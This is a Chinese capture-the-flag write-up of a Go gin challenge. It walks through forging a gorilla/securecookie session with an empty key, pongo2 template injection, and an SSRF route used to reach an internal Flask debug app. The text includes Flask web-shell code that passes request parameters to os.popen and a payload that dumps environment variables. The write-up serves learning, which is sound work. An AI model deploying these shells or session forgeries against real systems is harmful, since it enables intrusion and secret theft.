过程
下载题目的附件,是用go的gin框架写的后端,cookie-session是由gorilla/sessions来实现,而sessions库使用了另一个库:gorilla/securecookie来实现对cookie的安全传输。这里所谓的安全传输,是指保证cookie中的值不能被看出来(通过加密实现,可选)、保证传输的cookie不会被篡改。
securecookie的编码函数一共有四个主要步骤来实现这一目的:
- 序列化,cookie的值可以有多种形式,首先将其序列化为字节切片,方便后续操作。
- 加密(这一步是可选的),使用指定的对称加密方法、加密密钥,进行对value进行加密。
- 计算MAC值,以保证不被篡改,这里的MAC是Message Authentication Code的缩写。如何计算呢,通过指定的哈希函数来计算,对上述的加密后的value求一个摘要。
- base64编码。
当解密时,反过来即可,因为上述用于加密的方法与加密密钥、用于认证的哈希方法与哈希密钥,都是在服务器端设置的。准确来说就是由这个securecookie库的SecureCookie接口所规定的,通过加密密钥与认证密钥,保证了cookie不会被解密、不会被篡改的两个目的。
// main.go
func main() {
r := gin.Default()
r.GET("/", route.Index)
r.GET("/admin", route.Admin)
r.GET("/flask", route.Flask)
r.Run("0.0.0.0:8000")
}
可以看到存在三个路由。根路由、/admin路路由、/flask路由。以下是根路由对应的处理函数。
// route.go
package route
var store = sessions.NewCookieStore([]byte(os.Getenv("SESSION_KEY")))
func Index(c *gin.Context) {
session, err := store.Get(c.Request, "session-name")
if err != nil {
http.Error(c.Writer, err.Error(), http.StatusInternalServerError)
return
}
if session.Values["name"] == nil {
session.Values["name"] = "guest"
err = session.Save(c.Request, c.Writer)
if err != nil {
http.Error(c.Writer, err.Error(), http.StatusInternalServerError)
return
}
}
c.String(200, "Hello, guest")
}
可以看到,这里将判断是否携带了cookie,如果cookie中的name为空,就将其设置为guest。并且有一个细节,无论是否是管理员,根路由永远都会返回Hello, guest。
// route.go /admin路由
func Admin(c *gin.Context) {
session, err := store.Get(c.Request, "session-name")
if err != nil {
http.Error(c.Writer, err.Error(), http.StatusInternalServerError)
return
}
if session.Values["name"] != "admin" {
http.Error(c.Writer, "N0", http.StatusInternalServerError)
return
}
name := c.DefaultQuery("name", "ssti")
xssWaf := html.EscapeString(name)
tpl, err := pongo2.FromString("Hello " + xssWaf + "!")
if err != nil {
panic(err)
}
out, err := tpl.Execute(pongo2.Context{"c": c})
if err != nil {
http.Error(c.Writer, err.Error(), http.StatusInternalServerError)
return
}
c.String(200, out)
}
/admin路由,获取session中的name的值,若不为admin则后续无法进行,因此需要过的第一关是对session进行伪造。后续是pongo2的ssti。
上面通过获取环境变量中的SESSION_KEY来获取生成securecookie。只能对SESSION_KEY进行猜测,猜测并未设置SESSION_KEY。在本地运行程序,将SESSION_KEY置为空从而伪造cookie。接下来查看/flask路由:
//route.go /flask路由
func Flask(c *gin.Context) {
session, err := store.Get(c.Request, "session-name")
if err != nil {
http.Error(c.Writer, err.Error(), http.StatusInternalServerError)
return
}
if session.Values["name"] == nil {
if err != nil {
http.Error(c.Writer, "N0", http.StatusInternalServerError)
return
}
}
resp, err := http.Get("http://127.0.0.1:5000/" + c.DefaultQuery("name", "guest"))
if err != nil {
return
}
defer resp.Body.Close()
body, _ := io.ReadAll(resp.Body)
c.String(200, string(body))
}
查询访问flask路由时name参数的值,并将其拼接至"http://127.0.0.1:5000/"之后。通过伪造的cookie,拼接一个/,引发报错并拿到源码。
from flask import Flask,request
app = Flask(__name__)
@app.route('/')
def index():
name = request.args['name']
return name + 'no ssti'
if __name__== "__main__":
app.run(host="127.0.0.1",port=5000,debug=True)
flask开启了debug模式是支持热更新的,因此尝试通过ssti写文件,覆盖掉flask的py文件,从而rce。看到了两位师傅关于最后覆盖原flask文件获取flag的代码,我用的nss的环境,没找到flag,最后用的第二种方式,通过payload/flask?name=%3fname=env
拿到flag。不过我还没明白原理是什么
flag写在了环境变量中,因此通过第二种方式读取环境变量拿flag。例如这是在我本地执行相关代码(环境变量进行了打码):
# 1 py常用的rce的方式
from flask import Flask, request
import os
app = Flask(__name__)
@app.route('/shell')
def shell():
cmd = request.args.get('cmd')
if cmd:
return os.popen(cmd).read()
else:
return 'shell'
if __name__== "__main__":
app.run(host="127.0.0.1",port=5000,debug=True)
# 2 获取环境变量中的值
from flask import *
import os
app = Flask(__name__)
@app.route('/')
def index():
name = request.args['name']
file=os.popen(name).read()
return file
if __name__ == "__main__":
app.run(host="0.0.0.0", port=5000, debug=True)
acquisition
- gorilla的securecookie库
- pongo2的ssti
- flag在环境变量中时,获取py环境变量的方式
reference
https://github.com/gorilla/securecookie
https://www.lewiserii.top/%E7%AB%9E%E8%B5%9B/2023ciscn%E5%88%9D%E8%B5%9Bwp.html
https://exp10it.cn/2023/05/2023-ciscn-%E5%88%9D%E8%B5%9B-web-writeup/